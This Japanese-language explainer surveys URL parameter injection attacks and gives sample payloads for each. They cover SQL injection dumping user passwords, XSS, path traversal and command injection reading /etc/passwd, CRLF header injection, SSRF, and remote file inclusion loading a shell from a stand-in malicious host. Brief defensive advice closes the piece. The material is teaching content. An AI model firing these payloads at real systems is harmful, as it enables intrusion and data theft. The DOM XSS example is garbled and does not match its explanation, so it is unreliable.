URLパラメーターインジェクションは、Webアプリケーションの脆弱性を悪用する攻撃手法の一つです。この攻撃は、URLに含まれるパラメーターを改ざんして、不正な動作を引き起こすことを目的としています。以下に、URLパラメーターインジェクションに使われる代表的なパラメーターパターンを紹介します。
---
### 1. **SQLインジェクション**
SQLインジェクションは、URLパラメーターに悪意のあるSQLクエリを注入して、データベースを操作する攻撃です。
#### パターン例
- **基本的なSQLインジェクション**:
```
/products?id=1' OR '1'='1
```
- このパラメーターは、`id`の値が`1`であるか、または常に真となる条件を追加します。
- **UNIONベースのSQLインジェクション**:
```
/products?id=1' UNION SELECT username, password FROM users--
```
- このパラメーターは、`UNION`句を使用して別のテーブルからデータを取得します。
- **エラーベースのSQLインジェクション**:
```
/products?id=1' AND 1=CONVERT(int, (SELECT @@version))--
```
- このパラメーターは、エラーメッセージを通じてデータベースの情報を取得します。
---
### 2. **XSS(クロスサイトスクリプティング)**
XSSは、URLパラメーターに悪意のあるJavaScriptコードを注入して、ユーザーのブラウザ上で実行させる攻撃です。
#### パターン例
- **反射型XSS**:
```
/search?q=<script>alert('XSS')</script>
```
- このパラメーターは、検索結果ページにJavaScriptコードを注入します。
- **持続型XSS**:
```
/comment?message=<script>alert('XSS')</script>
```
- このパラメーターは、データベースに保存され、他のユーザーに表示される際に実行されます。
- **DOMベースXSS**:
```
/page#
![](x)
```
- このパラメーターは、DOM操作を通じてJavaScriptコードを実行します。
---
### 3. **パストラバーサル**
パストラバーサルは、URLパラメーターに相対パスを注入して、サーバー上のファイルにアクセスする攻撃です。
#### パターン例
- **基本的なパストラバーサル**:
```
/download?file=../../etc/passwd
```
- このパラメーターは、サーバー上の`/etc/passwd`ファイルにアクセスします。
- **エンコードされたパストラバーサル**:
```
/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
```
- このパラメーターは、URLエンコードを使用してパストラバーサルを隠蔽します。
---
### 4. **コマンドインジェクション**
コマンドインジェクションは、URLパラメーターにOSコマンドを注入して、サーバー上で実行させる攻撃です。
#### パターン例
- **基本的なコマンドインジェクション**:
```
/ping?ip=127.0.0.1; ls -la
```
- このパラメーターは、`ping`コマンドの後に`ls -la`コマンドを実行します。
- **パイプを使用したコマンドインジェクション**:
```
/ping?ip=127.0.0.1 | cat /etc/passwd
```
- このパラメーターは、`ping`コマンドの結果を`cat /etc/passwd`に渡します。
---
### 5. **HTTPヘッダーインジェクション**
HTTPヘッダーインジェクションは、URLパラメーターに改ざんされたヘッダー情報を注入して、サーバーの動作を変更する攻撃です。
#### パターン例
- **基本的なHTTPヘッダーインジェクション**:
```
/redirect?url=http://example.com%0d%0aSet-Cookie: sessionid=malicious
```
- このパラメーターは、`Set-Cookie`ヘッダーを注入して、セッションを乗っ取ります。
- **改行文字を使用したHTTPヘッダーインジェクション**:
```
/redirect?url=http://example.com%0d%0aLocation: http://malicious.com
```
- このパラメーターは、`Location`ヘッダーを注入して、リダイレクト先を変更します。
---
### 6. **ファイルインクルード**
ファイルインクルードは、URLパラメーターに外部ファイルのパスを注入して、サーバー上で実行させる攻撃です。
#### パターン例
- **ローカルファイルインクルード(LFI)**:
```
/page?file=../../etc/passwd
```
- このパラメーターは、サーバー上の`/etc/passwd`ファイルを読み込みます。
- **リモートファイルインクルード(RFI)**:
```
/page?file=http://malicious.com/shell.php
```
- このパラメーターは、外部サーバー上の悪意のあるファイルを読み込みます。
---
### 7. **Open Redirect**
Open Redirectは、URLパラメーターに外部サイトのURLを注入して、ユーザーを不正なサイトにリダイレクトする攻撃です。
#### パターン例
- **基本的なOpen Redirect**:
```
/redirect?url=http://malicious.com
```
- このパラメーターは、ユーザーを`http://malicious.com`にリダイレクトします。
- **エンコードされたOpen Redirect**:
```
/redirect?url=http%3A%2F%2Fmalicious.com
```
- このパラメーターは、URLエンコードを使用してリダイレクト先を隠蔽します。
---
### 8. **SSRF(Server-Side Request Forgery)**
SSRFは、URLパラメーターに内部ネットワークのリソースを指定して、サーバーに不正なリクエストを送信させる攻撃です。
#### パターン例
- **基本的なSSRF**:
```
/fetch?url=http://internal-server/admin
```
- このパラメーターは、内部サーバーの`/admin`ページにアクセスします。
- **ローカルリソースへのアクセス**:
```
/fetch?url=file:///etc/passwd
```
- このパラメーターは、サーバー上の`/etc/passwd`ファイルにアクセスします。
---
### 9. **パラメーター汚染**
パラメーター汚染は、同じパラメーターを複数回指定して、アプリケーションの動作を混乱させる攻撃です。
#### パターン例
- **基本的なパラメーター汚染**:
```
/search?q=test&q=malicious
```
- このパラメーターは、`q`を複数回指定して、アプリケーションの動作を変更します。
---
### 10. **その他のパターン**
- **JSONインジェクション**:
```
/api?data={"key":"value","malicious":"payload"}
```
- このパラメーターは、JSONデータに悪意のあるペイロードを注入します。
- **XMLインジェクション**:
```
/api?data=<root><key>value</key><malicious>payload</malicious></root>
```
- このパラメーターは、XMLデータに悪意のあるペイロードを注入します。
---
### まとめ
URLパラメーターインジェクションに使われるパラメーターパターンは多岐にわたります。これらの攻撃を防ぐためには、以下の対策が必要です。
1. **入力値の検証**:
- ユーザー入力に対して厳格な検証を行います。
2. **出力値のエスケープ**:
- 出力時に適切なエスケープ処理を行います。
3. **セキュアなコーディング**:
- セキュアなコーディングプラクティスに従います。
4. **セキュリティテスト**:
- 定期的にセキュリティテストを行い、脆弱性を発見・修正します。
これらの対策を実施することで、URLパラメーターインジェクションのリスクを低減できます。